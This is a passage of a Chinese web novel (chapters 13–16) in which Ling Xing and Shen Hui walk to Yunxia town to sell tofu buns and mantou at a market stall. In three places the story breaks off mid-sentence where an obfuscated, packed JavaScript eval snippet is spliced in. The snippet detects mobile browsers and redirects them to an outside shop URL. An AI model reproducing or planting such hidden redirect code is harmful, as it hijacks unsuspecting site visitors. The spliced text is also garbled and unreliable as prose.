到家后,凌星为了试试蒸笼和泥炉,又做了顿包子馒头。 老面引子要现弄,做上后已经是第二天的中午。 期间凌星又托沈呈山买了口陶锅,放在泥炉上用,还买了些麻布回来,做蒸笼布。 东西都买回来,又花去一百五十一文。 陶锅买了底厚实耐用些的,要七十五文。 这时节的麻布一匹三百文,长四丈,宽二尺二。夏季的时候一匹二百文。 沈呈山扯了十尺麻布,要七十六文钱。 凌星洗了麻布,之后根据蒸笼大小裁剪成圆,垫在蒸笼里面。也只裁了十片,他有五个蒸笼,多余的收着,可以做替换。 边角料被徐有芳收拾起来,留着后面缝补衣服用。 包包子的时候,凌星五个蒸笼全用上了。 一笼能蒸十个,但他没有放全。 每笼就放了两三个,一共用了一斤面粉,一斤豆腐。 蒸的时候要时刻注意着火候,盯着泥炉和蒸笼里包子馒头的状态,心里记着时辰。 还需要来回的调换蒸笼顺序,保证每一层都蒸好。 他手艺足够好,之前又积攒许多的经验,这次一次成了。 沈家又吃了一顿豆腐包子。 之前凌星对这边物价不太了解,以为五百文就够。原身出生富裕人家,脑海里也没有底层人民接触的物价参考。 结果花到最后,沈回卖头发的八百文根本就不够。 沈家给他添上了后续所有的空缺,凌星都记在心里。 因为钱不够的原因,头先想的肉包子也往后搁置,就先做豆腐包子和馒头去卖。 凌星估摸了一下,一斤面粉差不多能做十五个大包子,小一点的,二十个都能做得。 馒头的话,大一点的能做七八个,小一点的能做十二三个。 大包子有视觉冲击,但价格肯定会定的贵些。小包子虽然能便宜,不过也没办法便宜到哪里去。 做早点的都是辛苦钱,起得早还忙得很。 卖的贵一点,食客就不买帐。 凌星思索再三,还是决定做大一点的。十五个豆腐包子,成本在二十五文。 他每个卖三文钱,加上人工还有炭火这些,其实真赚不了。 可这价格已经是在镇上能定的最高的了,去县里倒是能再高一些,不过路途上又过于遥远,耽误的时间还有费去的体力,不太值当。 馒头一个就四文钱,他做的比较大,又是好面粉做的,总会有人买。 但整体数量的话,凌星还是决定包子做的多些,馒头少做点。 要出摊子了,老面引子要每天都留些,草木灰液也需要泡着沉淀过滤。凌星托了沈来看顾,答应给他包子吃。 沈来拍着瘦弱的胸膛保证,绝对不会出差错。 一切准备就绪,只等着第二天去镇上出摊。 13. 第 13 章 外面黑蒙蒙的,东头房已经有了动静。 为了省点灯油钱,还有让沈来继续好好睡,凌星没有点灯,摸着黑穿好了冷飕飕的衣服。 温热的体温触碰到衣服的时候,凌星忍不住打了寒颤,心想这天早晚还是冷的人发颤。 掀开门帘出门,发现堂屋木门的门闩已经被打开,凌星轻缓开门,往灶屋那一瞥,烟囱在冒烟。 徐有芳正巧手里拿着的木勺探头出来,上面沾粘些许面糊,瞧见凌星的时候赶紧催道:“刚想去喊你,快收拾收拾,好了来喝碗面糊糊。这去镇上要走一个多时辰的路,去晚的话可没人买吃食了。” 凌星也知道这个理,不敢耽误。手脚麻利的洗漱完,钻进灶屋捧着陶碗一边吹一边喝。 前面已经晾了一会,吹吹再喝温度刚好。 沈回起的也早,他早喝完三碗面糊,把要带去镇上的炉子蒸笼那些弄到院子里。 徐有芳给凌星弄了个竹背篓,里面装着四斤的豆腐馅,还有发好的十斤面。 面粉是昨天沈呈山去镇上买的,一口气买了二十斤回来,花了四百文。 发好的面和豆腐馅分别用陶盆装着的,加上一个小钱匣子,竹篓整个差不多十五六斤重。 准备走的时候,曹满月也匆匆出来,和沈呈山徐有芳两人站在篱笆院门口送人。 沈归起不来,抱着麦壳枕头睡的昏天黑地。 这具身体极其虚弱,且缺乏锻炼。 以上是凌星背着装满东西的竹篓子走了三里路后,对如今身体的真实感受评价。 比起沈回身上的东西,凌星算是没背多重。 但此时的他已经气喘吁吁,完全跟不上沈回。 要知道沈回手里拎着泥炉,陶锅,蒸笼,背上还用麻绳绑着一张小桌子。是沈回新打的,让凌星能现擀面包东西。 这些加起来比他竹篓子里的东西重三倍不止。 尤其是那泥炉,凌星之前拎过。 双手用力能离地,挪动范围在两步内。 多了就不行了,手都要废了。 结果这东西到了沈回手里,就像没重量一样,拎着库库走,凌星追都追不上。 眼看着天逐渐亮起来,凌星也不好耽误时间,只能强忍着心口的不适,蒙头往前走。 “嘶。” 因着低头走路,凌星没注意前面,一头撞沈回胳膊上了。 他忍不住抬手摸着撞到的额头,因为走的太快,这会还粗喘着气,气息紊乱,“二弟怎么停下了?” 沈回低头盯着凌星有些潮红的脸看一眼,很快又皱着眉移开视线,“拿不动不要逞强。” 说着大手一伸,凌星只觉得身上一轻,整个人都活过来了。 那感觉,就像孙大圣被救出五指山一样,浑身松快清爽。 “跟上。” 沈回声音低沉发冷,凌星下意识的听着声抬脚往前。 一路上,凌星都在想沈回的力气得有多大。 这人背上背着小桌,麻绳串起来的蒸笼被沈回横放在桌腿上,陶锅叫他搭在背篓上。 右手手里拎着泥炉,胸前背着背篓,因腿长步子迈的大,依旧脸不红气不喘,稳的要命。 凌星不行,他什么也不拿的情况下,要跟上沈回的步伐,都已经耗尽了全部的力气。 他感觉自己的心脏都要跳出来了,连客气一句拿点东西的话都说不出口。 客气不了一点,等他练一段时间再帮着沈回分担吧。 后半段的时候,凌星体力消耗大半,沈回看一眼天色,不知从哪里寻摸一根树枝,塞到凌星手中。 “抓着树枝,别松手,我带你走。” 沈回空出来的左手牵着树枝的另一端,拉着凌星往前。 有人在前面拉,凌星有了一些力气。他忍着不适,一声没吭咬着牙坚持。 走了一个多时辰,天边已经有微亮。 云霞镇的小城门稍显破败,城门口两侧,就有不少摊子。 不过没有卖吃食的,是草药摊子,茶水摊子还有算命摊子。 凌星整个人脑袋嗡嗡嗡的,他盯着草药摊子看了一眼,没来得及想什么,就被沈回拉着树枝往前带。 进镇里不要交入城费,周边村子的百姓们因此愿意来镇上买买东西。 入县城是要交五文钱入城费的,一般情况下,村民们基本不会去县里。 城门口的拱洞下,有个小吏模样的青年。瞧见沈回背着拎着的东西,又见沈回边上面红耳赤喘着气的凌星,最后将视线停留在二人之间的那根木棍上,一时间有些没反应过来。 “沈二郎你这一身的东西,是要来镇上摆摊子?” 沈回经常来镇里,他个头高,人又威猛。帮着这小吏抓过几次毛贼,二人算是熟识。 “许七哥说的是,现在镇上还有哪些摊位能选?”沈回将树枝松开走近许七问道。 不管是去镇上还是去县里,只要是摆摊子赚钱,那都要交摊位费。 钱交多少,取决于位置。 人流多的地方,交的钱也多。按着时辰算,一个时辰五文到二十文不等。 五文的位置很偏,但也有客流。不过那些地方,地痞流氓还有做暗门生意的多,在那摆摊子,不出意外会被吃白食。 沈回对此有些了解,压根没想过选五文钱的地方。 他问许七,“十文钱一个时辰的摊位还有吗?” 许七瞅一眼破旧小桌上的摊位区域图,指着一处道:“糖坊街那还有,沈二郎要去的话,我叫人把最好的那块地腾出来。” “不必。”沈回简短的回应。 许七没有因为沈回冷硬的态度而觉得怎样,这人从认识的时候就这样,性格原因,不是有意针对。 也知沈回不想因为他的原因,叫原本就占了好摊位的人离开,许七点点头,抬手一招呼,不远处有个年轻些的小吏过来。 在叮嘱对方看着小桌后,带着沈回和凌星朝着镇子里面走。 路上的时候,许七忍不住的看凌星好几眼。 那模样瞧着是个哥儿。 “哎,二郎,这是哪位,不介绍一下?”许七还以为凌星和沈回关系不一般,瞧瞧沈二郎身上堆山码海的东西,连块布都不叫对方拿,走路还要牵带着走。 因着想差了道,许七这会说话挤眉弄眼的。 沈回走的慢了些,没有再拽着那根树枝,凌星跟着没有之前那么吃力,气息也在逐渐平稳。 “是我哥夫。” 这回答在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036484|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许七的意料之外,不过想想也是情理之中。 那哥儿瞧着瘦的很,可眉目之间一派温和,手上也无干活的痕迹,听说前段时间有南边逃难来的,哥儿八成是去了小柳村给沈家大郎冲喜去了。 冲喜这事见怪不怪,许七猜的大差不差,心想幸好前面没说些不该说的,便收了神色正经不少,随口问道:“你大哥现在怎么样了?” 许七前段时间轮去县里一月,此时还不知道沈还已经离世。 只听沈回音色低沉,压着些听不出来的情绪,总归不是什么好情绪。 “没了。” 短短两字,叫许七心里一慌愣。反应过来后急忙拍了一下自己的嘴,告罪道:“瞧我这张嘴,哪壶不开提哪壶,兄弟我实在不晓得,二郎莫怪。” “许七哥不必自责,也是我没有事先言明。” 听了沈回这话,许七心里好受些,连说给他找个好位置,还说要捧捧他摊位的场子。 凌星全程没讲话,握着树枝的指尖,因用力有些发白。喉间有腥甜味,鼻腔呼吸也有微弱的痛感,这让他很不舒服。 更别提脚还很痛,走的实在是太快,路也太长了。不过倒是不冷,这阵子身上全是汗,热乎乎的。 许七带着沈回和凌星到了地方,那已经有不少摊子了。 卖肉的,卖面条的,年糕,干货果子,面人糖人,木雕摆件,竹编草编,各种头绳,胭脂水粉…… 还有绞面的小摊子,上了年纪的阿婆给女子哥儿绞面。 更有货郎挑着满当当的货箱沿街叫卖,这样的是不需要交摊位费的。 到地方后沈回直接动手把摊子支起来,又端着陶锅去不远处的水井,给守井人摆在桌上的陶碗里放了一文钱。 然后用木桶打水,倒满了陶锅。 这里的水井是公用的,摊贩们给一文钱在摆摊期间可以不限次数用。 这也是租金贵些的原因之一。 等沈回端着一陶锅的水回去,凌星差不多缓过来了。 “来洗手。” 沈回端着陶锅,等着凌星过去。 凌星愣了一下,然后丢开树枝试探性的伸出手,沈回看他有些愣神模样,低头时不由轻笑一声。少顷动一下手腕,陶锅里的水缓缓流出。 水流不大,匀速往下,凌星盯着水流仔细的搓手,心想沈回的腕力很大。 凌星把手洗干净后,就见沈回麻溜的把泥炉里的炭烧起来,又把陶锅放上去。 桌子也被沈回擦干净,面粉和豆腐摆在桌上摆好。 一切弄完后,沈回这才问凌星,“需要再休息一会吗?” 凌星摇摇头,“不用,辛苦二弟了。” 确实是辛苦了,一路上他什么忙也没帮上,到地方了也光忙着平复气息。 什么都叫沈回干了。 水咕嘟咕嘟的冒泡,凌星已经把面团弄成一个个大小合适的剂子。 蒸笼放在陶锅上之前,沈回不知从哪弄来个陶碗,舀出一碗烧好的水放在边上。 “稍微冷冷的时候记得喝了。” 凌星看一眼冒着热气的水,无意识的伸出舌头舔一下嘴唇,他确实有些干渴。 于是轻缓点头,微微笑着对沈回说:“好的哦二弟。” 14. 第 14 章 这边摆摊卖吃食的不算多,不远处有个卖面条的。 沈回就是从他那借用的陶碗。 那摊主是个高挑削瘦的青年男子,先前看到这边摊子上摆了面团,心里还一咯噔,以为来了个同行。 沈回过去的时候,那脸都拉老长。 总共就那么些的客人,两家人卖一样的东西,肯定会影响他家生意的。 但对方长得实在高壮,他一堂堂汉子,都只到人家胸口处。衣服下鼓囊囊的,结实的很。更别说管理摊位的官爷还和这汉子有说有笑。 他可惹不起。 因此,在沈回去借用陶碗的时候,摊主极力的收敛表情,扯出一抹比哭还难看的笑,选了洗干净且没有任何豁口的陶碗递了过去。 后来偷摸的朝着对方的摊位看了几次,发现不是卖面条的,这才又高兴起来。 蒸包子也需要时间,凌星是现包的。圆滚滚的包子被有序的码在蒸笼里,每一道褶子都完美无缺。 因为这吃食从未见过,倒是有不少行人驻足观望。 在这小镇子里,每天也没个新鲜事。突然出现个不一样的东西,多少都会引人留意。 可碍于沈回的高大威猛,大家也不敢靠太近,更不怎么敢问。 就怕不知为何惹毛了对方,再来给他们一拳。 那简直就是无妄之灾啊。 凌星把包子都蒸上后,端起陶碗把水喝完。 一抹嘴巴就瞧见有人盯着摊子,一副欲言又止的模样。 他放下碗,嘴角上扬,热情的笑道:“诸位来瞧瞧看看,我们这卖的是皮薄馅多的大包子,还有比拳头大的大馒头。全都是好面粉做的,松软可口,童叟无欺!” 包子?馒头?啥玩意啊?没听过,这能吃吗? 新奇的吃食有多引人好奇,那就有多让人不敢尝试。 没有口碑的东西,谁都不想花那冤枉钱做第一个买的人。 卖东西的人一张嘴就说好吃,谁信呢。 听一耳朵后,大家打消了些许好奇,又该干嘛干嘛去,没再过多的停留。 包子馒头这阵子也没蒸好,凌星就算想搞个试吃都没办法。 天现在也全亮了,出来吃早饭的人已经是最后一批。 若是运气好,他还能赶上个早点尾巴。 按着现代时间换算,他今早四点就出发,走了两个多小时,到地方六点。 包子馒头蒸好也快七点钟,这时间放在现代来说,正是吃早餐的时候。 可对于晚上七点就睡觉的古代人来说,早上七点太阳都晒屁股了,哪怕是富家的纨绔子弟,都爬起来吃喝玩乐好一会时间。 凌星看着因他一席话,打消好奇心走的七七八八的人,无奈的叹口气。 哎,明天再早一个小时出发吧。 凌晨三点他就走! 七点睡觉,正好还能睡八小时。 不过这事他不好一个人决定,扭头去找沈回,“二弟,辛苦你明天和我提早来,可以吗?” 沈回对此无异议,他之前上山打猎,成宿不睡觉也是有的。 “好。” 听到沈回没犹豫就同意,凌星心里也感激。他抿着嘴笑了笑,发自内心的对沈回说:“二弟你真好。” 沈回看着凌星的脸,突然别过头,像是在解释,“大哥临走前,私下托我照顾哥夫。” 凌星想到沈还为他考虑到这地步,心里又热又酸,沈大哥你真的是个超级超级超级好的人! 若是有来世,希望你的身体健康,拥有如现在沈家一样好的家人。 凌星在心里默默的祈愿,回神的时候发现沈回离开了。 等人回来,手里多了个小板凳。 沈回将小板凳往蒸笼那边放,“你的脚腕磨破了,不适久站,坐下休息一会。” 凌星那不知缝补过多少次的裤子,根本遮不住脚腕。他都不用提一下裤子,低头就能看见两只脚的脚后跟伤成什么样。 但凌星没有看。 他看不得伤口,心里会揪起来的难受。不管这伤口是在谁身上,那种皮肉翻开的伤口,看一眼还会发晕颤抖。 也不知是什么毛病,反正很小的时候就这样了。 因此一路上,凌星一直在忽略脚后跟的伤。 他能感觉到,脚后跟被草鞋磨破了皮,这么长的路走来,想来磨的也比较严重。 这会人闲下来,身体没有散发热气与冷气对抗,冷的厉害。 凌星露出来的脚腕也冻的有些没知觉,他站着确实也不舒服,干脆听沈回的坐下。 这板凳的位置放的巧妙,既能有些热源暖暖身体,又能避开热气蒸腾的伤人。 凌星坐了一会,身子有些回暖。 路过的行人无一不例外,盯着那奇怪的蒸笼看来看去,最后也基本都因为沈回的模样而远离。 安分守己的老百姓们,对这样气势强盛的人,内心是恐惧,避之不及的。 凌星注意到这个现象,但他没说什么。 到了时间凌星起来给蒸笼调换位置,沈回先一步把手搭在蒸笼上,他有些不解,就听沈回说:“重,我来。” 凌星想到上次用蒸笼试做,包子放的少,一下子能抬动。 这次包子都放满了,蒸笼本身又是实木打的,有一定重量,以他现在这体格和力气,还真弄不起来。 他也没非要试,听沈回的话坐了回去,看着沈回倒腾。 想来之前他倒腾蒸笼位置的时候,沈回看着记下了。也没要他指点,自己就顺当的调整一遍。 包子蒸好之后,太阳都出来了。 凌星起身清清嗓子,嘴角一翘,开始叫卖。 “来!瞧一瞧看一看!新鲜出炉的豆腐包子,又大又软,香到掉牙!走过路过不要错过!新摊子开张,可以试吃,不好吃不要钱,不好吃不用买!” 这一嗓子清亮又欢快,听的人心里舒服。 而叫卖词更是与众不同,至少比起那些“客官来看看?”“小娘子要买首饰吗?”“卖素面,一碗五文钱。”这些,更容易引起人的注意。 尤其是那句“可以试吃,不好吃不要钱。” 嘿,多新鲜!头一回听到卖吃食的东西没卖出去,就先给人吃的。 免费二字诱惑力极大,对此地的老百姓来说,实在是没办法抗拒。 虽然天上不会掉馅饼,但这摊主大庭广众喊了的,好多人都听见,就算是去衙门那他们也是有理的。 卢花本来是想到胭脂摊子那,给要出门子的三女儿买点胭脂水粉。 铺子里的那些他们小老百姓牙咬碎了都买不起,摊子上的虽然不如铺子里的好,但咬咬牙能买。 结果走半道上听到一声好听的声音,哎呦那小调欢快的,听着人心里头都心生欢喜。 仔细听听那说词,卖的是没听过的吃食,新奇是新奇,但也就听一嘴过过好奇的瘾就罢了。 后头听到免费试吃的时候,卢花就觉得自己的脚不受控制,人反应过来时,已经站在那摊子前面了。 卖吃食的人衣着破旧多补丁,但胜在干净。那张脸虽面黄肌瘦,可那双眼睛闪亮的很,好像会说话一样。脸上还带着开朗的笑,眉眼弯弯,叫人一下子都忽视了他过瘦的脸颊。 “婶子好呀,我这摊子除了豆腐包子以外,还卖馒头。婶子是想两个都尝尝,还是只尝一样?” 馒头和包子都切好了,用两张油纸分别垫着。 是用沈回随身带的匕首,因为凌星要用它切包子馒头,前面还丢锅里煮过几次。 起初沈回不理解为什么要煮刀子,但凌星说这样能让刀子干净。 凌星想快速的打开口碑,就只能舍一些出去,换更多的人来买。他不能把家里唯一的菜刀带走,用手揪的话又太磕碜。 后来就把主意打到沈回的匕首上了。 知道凌星要用匕首切东西,需要匕首更干净一些,沈回自己也煮过好几次。 今天起来还煮了一遍。 卢花听着声,低头看向桌子上摆着的油纸,上面是白乎乎的面团子。 有的面团子里夹着豆腐,都还散着热气,麦香扑鼻。 这成色,这味道,铁定是好面粉做的没跑,估摸着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036485|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还加了更贵的精白面进去,不然不能这样白。 她家里有点钱的,隔三差五的能吃顿好面。那玩意养人,好吃着呢。 上次吃还是五天前,这会闻到味,也有点想了。 更别提这摊子上的面食,看着可比纯好面弄出来的还好。 卢花眼睛盯油纸上,再次确认道:“这真不要钱白给我吃啊?” 凌星点头,“是啊。” “那我就都尝尝吧。”卢花轻咳一声,伸手去拿。 包子馒头都被切成均匀的小块,拿的多吧,一手都是。周围又都是人,全是被这小摊主的叫卖声给吸引来的,估计都等着吃呢。 卢花先前十分豪放伸出去的手,突然就顿下,变得犹豫。最后多少因为周围人多,不好意思太占人便宜,每样捏了两块放手心里。 围过来的人见有人拿了,那摊主真没拦着,有不少人意动,准备来拿。 正准备出手呢,就听第一个拿着吃的婶子大叫一声。 “乖乖!” 所有人一顿,朝着卢花看去。 卢花嘴巴里嚼着豆腐包子,眼睛瞪的老大,满脸的惊喜。 她指着手里没吃的那块豆腐包子,对着凌星就问,“这个豆腐包子是吧?咋愣香,愣软乎啊,你咋做的啊?” 那声叫大家伙还以为是这吃食有问题,结果是因为好吃。这让周围的人就更好奇了,到底多香多软乎啊? 凌星笑着回道:“这都是独家秘方做的,用的都是好面粉不搀一点假,味道自然是好。就连做馅的豆腐,都是买的村子里做豆腐最好吃的那家。婶子要是觉得好吃爱吃,不妨买一个,三文钱就能买一大个呢。” 三文钱可不便宜啊,那好面粉二十文一斤,买六七个包子的钱,都能买一斤好面粉了。 卢花心里计较着价,总觉得贵。但是转念又想,这包子这么好吃,面粉肯定加了精白面。价格似乎又很划算…… 凌星看出人犹豫纠结,便伸手掀开蒸笼。 在看到蒸笼里一整个包子有多大时,卢花嘿了一声。 里面的包子白白胖胖的,单个瞧着估摸着比她手掌都大多了。 “哟,这么大啊?你这也忒实诚,这一个得用多少面粉啊?” 卢花向来心直口快,她是真的震惊。当家做饭,就知道面粉的用量。 这样大的馅饼子,都要用不少的面。这包子和馅饼子也差不多,都是面包着馅料。 不过包子面皮吃起来软乎的要命,好吃着呢。 因为有老面引子发面,面皮会蓬松成倍的变大,看起来确实是像用了很多面粉。 凌星摆摊做生意,自然不会傻乎乎的和人说没用多少面,就是要人觉得物超所值才行。 况且他也真没刻意要高价,高了也卖不出去。 只能薄利多销。 “婶子可还满意?要带一个回去吃不?”凌星问道。 不知道包子多大之前,卢花没想着买。知道之后,就不觉得亏了,直点头说:“来一个。” 一边说一边把馒头块塞嘴里,嗬!这咋也愣香呢! 她就没吃过这样好吃的面团子!软乎不说,嚼着嚼着还有点甜味呢。 “这馒头咋买的啊?”卢花盯着蒸笼,“我看看多大。” 凌星用油纸包好一个豆腐包子,又掀开装着馒头的那层,叫卢花看清楚大小。 一见那大小,卢花就心动了。 这样的大馒头,得用多少面粉啊!比男人拳头都大!那可是实心的啊! “馒头一个四文钱,两个七文钱。” 听到四文的时候,卢花想都没想就要开口说要一个。结果嘴刚张开,又听说两个七文。 她一时间没转的过来声,卡了一下壳才高喊一声,“给我来两个!” 一下子花去十文钱,但卢花觉得值。 好面本来就贵,这样大的包子馒头,她一斤面粉指不定才能弄出几个呢。 关键是她没独家秘方,也整不出这样好吃。 凌星脸上带笑,又包了两个馒头。 开张了,赚钱了,高兴! 15. 第 15 章 买了包子馒头的卢花也高兴,怀里抱着白白胖胖,软乎乎的包子馒头,转去胭脂摊子那买胭脂。 卢花走后,包子摊试吃的人多了起来。 因着有沈回在,倒是没有人敢捣乱。在凌星的声音下,大家竟也井然有序的排着队一个个来。 包子馒头味道好是毋庸置疑的,但也不是每个试吃的人都会买。 也有那些贪些小便宜,企图一下子抓走大半,或是吃完又排队的,都在沈回的冷脸之下识趣的没敢实施。 卖出去的也不少,三屉很快就卖完了。凌星赶紧继续包,把售卖的活交给沈回。 换了沈回之后,头先人人都会来一句的,“摊主便宜点”“给我挑个最大的”之类的话,没人再说。 全程安静的很,一手交钱一手交货。 凌星看一眼有条不紊装馒头包子的沈回,随后专心的包包子。 人有从众心理,包子摊这边排着队,明显与其他的摊子前只有两三人不同。 凌星手上包包子的动作很快,嘴上还欢快的叫卖着。 在听到免费试吃的时候,成功的将准备瞥一眼情况就撤的人们留住。 那就吃一口再走吧。 另外两屉也卖光了,五层的蒸笼,一次性只能出五十个馒头包子,多一个都不行。 凌星码着刚包好的包子,对人群中道:“没买到的客人们可以去其他地方转转,下一笼要近半个时辰才好。” “哎呦,这么慢啊?” “是啊,那炊饼和馅饼也没这样慢啊。” 好不容易排上自己,结果到面前了说东西卖光没有了,食客有情绪也正常。 凌星也没法子,他就这么几个蒸笼。多了也不行,陶锅承重受不了,得打铁锅。 他带着歉意的笑着,“实在是不好意思诸位,这样,下一锅的包子我五文钱卖两个。算是给大家赔罪。” 都说伸手不打笑脸人,更何况人家还给免一文钱呢。 “小摊主你说话算话啊,下一锅可不能叫我再跑空了。” 排在第一个的汉子和凌星强调了一遍,凌星把人的样子记下,微笑着点头,“好嘞。” 人群因为第一批包子卖完而散开。 凌星看着又空了的摊位,想着明天真的要提前出来才行。而且还得想办法弄点保温的东西,不然光等包子馒头熟了,哪里还能卖上多少。 哎,这下一来,就又要花钱。 凌星一想到这,就甩开了膀子包包子,包多点,赚钱! 他还想穿合身的衣服,想填饱肚子。 许七来的巧,第二锅包子好了,他正好过来。 前面安排完沈回和凌星,就回了一趟城门口。那小吏是刚来的,什么也不懂,他怕出岔子不敢叫对方一个人待太久。 回去又交待了几句,碰上两个要来摆摊子卖鸡鸭的,也选了沈回那边的摊位,许七寻思着送人来时,掏钱给沈回那摊子捧捧场。 结果到地方才发现压根不需要他捧场,整条街的摊子,就属沈回和他哥夫摊子前人最多。 安顿完卖鸡鸭的百姓后,许七朝着包子摊走。 “二郎生意不错啊。” 因着许七穿着吏服,虽破旧可没人敢不敬。披着这身皮,那就是官大爷,是能掌他们生死的。眼看着人插队,大家伙也权当没看见。 “哥夫的手艺很好,等收摊子前给许七哥留两馒头和包子。” 沈回边给排队的人装包子,边回许七的话。 他说话时没什么表情,嘴角自然往下,又因眉骨压着眼,整个人看起来很是凌厉。 许七和沈回打过多次交道,酒也喝过几回。他见识的人,比起普通老百姓都多。就连那深山里作恶的土匪头子,都不远不近的瞧见过。 可没有一人能给他如同沈回一样的感觉。 人往那一站,眼神淡淡一瞥,就叫人心里发毛。 想到沈回做猎户,就是个手上沾血的活,他人又魁梧威猛,气势逼人一些也正常。 许七压下心中的心悸,哈哈笑着以做掩饰方才被沈回的气势吓到。 “成,那七哥我先回了。新来的毛头小子不顶事,半点离不开人。” 沈回颔首,“许七哥慢走。” “哎好,二郎先忙着。” 排着队的人见许七走了不由松一口气,同时也对这摊子心里有了数,摊子虽小可也不是他们能随意招惹的。 不仅摊主壮实,一拳能打死人的模样,背后还认识官爷呢! 第二锅卖完已经巳时,凌星换算下时间,差不多九点钟了。 带来的所有食材都用完了,想继续卖也没东西卖。 而且因为第一锅和第二锅中间隔的时间有点长,本来第一锅排队想买的人,在那段时间里也有不少没有再回来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036486|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 第二锅卖的比第一锅慢多了,后面都有些卖不动。 这边不靠近集市,只有些小摊子卖些小玩意。也就早上和傍晚热闹些。 半晌午开始就冷清不少,人流骤减,来往行人也都是忙着生计无意逗留。 准备收拾东西的时候,凌星用油纸包了两个豆腐包子,还有两个馒头。把陶碗洗干净之后,一起还给面摊的摊主。 “碗给洗好了,这包子拿着尝尝味。谢谢你的碗,不然今天我都没办法喝水了。” 凌星笑着说话,又把手里东西递过去。 摊主没想到还能得个吃食,他们距离不远,这段时间下来也知道了这叫包子的新奇玩意卖三文钱一个,馒头四文钱一个。 他就是做面条生意的,看着包子和馒头的大小,也觉得这小摊主做生意忒实诚了。 这样的个头,还是用好面一点都不掺假,哪里能赚哟! 面摊摊主推拒着包子馒头,这些加起来都十几文钱了,他哪里能收啊! 摊主黝黑瘦巴的脸上满是诚恳,“小摊主,你这真是太客气了。就借个陶碗喝个水而已,我哪能要你东西啊。” 凌星又往前推了推,“其实也是有事托大哥你帮忙,我有个弟弟丢了,今年五岁,眼睛大大的,嘴唇上有颗小痣。哦,手背上因为烫伤留了小疤,在左手看着像是月牙状。要是大哥看到符合条件的小郎,还请大哥帮忙多留意一下。也不需大哥多做些什么,告诉我在哪看见人的就成。” 原身就这么一个愿望,凌星一直记在心上。 按着原身的记忆,把凌月的特征给说了。这孩子就是被那继母卖在了小柳村周围的镇子上,不是云霞镇,就是稍远一点的月湾镇。 不仅是面摊的大哥,其他摊子的人凌星也准备和人说一下。 但他现在没那么多钱另外做包子馒头,只能一个一个来。 最后凌星也说了若能提供到线索,会有答谢。面摊摊主看一眼凌星的穿着,把包子馒头接过去。 “家里孩子丢了大人最着急,要甚答谢不答谢。你这包子馒头我收下,放心吧后头我王有麦一定帮小摊主留心。” 凌星面上一喜,“多谢王大哥。” 谢完后,凌星报了自己的名字。王有麦打眼一瞧,没发现凌星有遮盖孕痣,顺口问他,“是凌小弟,还是凌哥儿?” 凌星微愣后坦然道:“是凌哥儿。” 16. 第 16 章 等凌星回去,沈回已经收拾好东西,准备出发。 凌星不怎么认路,就走了一回,怕迷路了赶紧跟上。 许是不急着赶路,沈回走的比来时慢多了。 凌星还有闲心看看周围,越走越觉得很陌生一点熟悉感都没有。 “二弟我们是去城门嘛?和来时的路好像有些不太一样。” 沈回道:“去摊位管理的仓库放东西,每天这样来回的带着不方便。仓库是县令办的,存在里面的东西坏了丢了,确认是仓库保存不当原因,会照价赔偿。” 凌星没想到还有这样的地方,心想这管理还挺有保障的。 “好,听二弟的。” 沈回闻言看了凌星一眼,没吭声,继续往前走。 仓库并不远,是个小院子。 四面都是房子,就连门的两侧耳房也是用来堆放货物的。 跨进门里,右侧有张小桌子,一名身着粗布麻衣的清瘦青年手里握着毛笔在纸上不知写什么。 他写的入神,直到沈回靠近才反应过来,动作有些慌乱的将上面的纸塞到下面。 “可是要来存放东西?存草棚一日十文,存屋里一日二十文。” 沈回没在意对方的小动作,“存草棚。” “好,你姓甚名谁,家住何处,存哪些东西?” 沈回一一报上,“沈回,小柳村,存大泥炉,陶锅各一。” 清瘦青年提笔仔细记下后,又从桌下的小屉里面掏出两根竹签子。 上面写着编号:丁,二十。 其中一根给了沈回,另一根丢在陶锅里面。 “跟我来。” 青年领着人进去,凌星这才发现院子里搭建不少的草棚,里面已经堆着满当当的东西。 草棚之间只留个过道够人走,大货存放不进来。但摆摊的小贩,没人是大货。 走到挂着写了“丁”字木牌的草棚前,青年停下脚步。 “东西放进去吧。” 那草棚并不算低矮,但沈回太高,他还是要弯腰进草棚。寻了个合适的角落,把炉子和陶锅放一起。 出仓库时,沈回身上只有个竹背篓。 里面放着两个陶盆,和给许七留的包子馒头,背篓上面搭着用麻绳串在一起的五个蒸笼。 到城门口,沈回把包子馒头给了许七。 他也没要许七的钱,许七当时就说不收钱不要。沈回这才道要许七帮个忙。 然后就将凌星和王有麦说的话,大差不差的讲了。 听的边上的凌星眼都瞪大了,他没和沈回说啊,沈回是怎么知道的! 许七听说原因后,朝着凌星看一眼,又对沈回道:“放心,二郎难得开一回口,七哥我肯定当成自己的事办。” “多谢许七哥,有劳。” 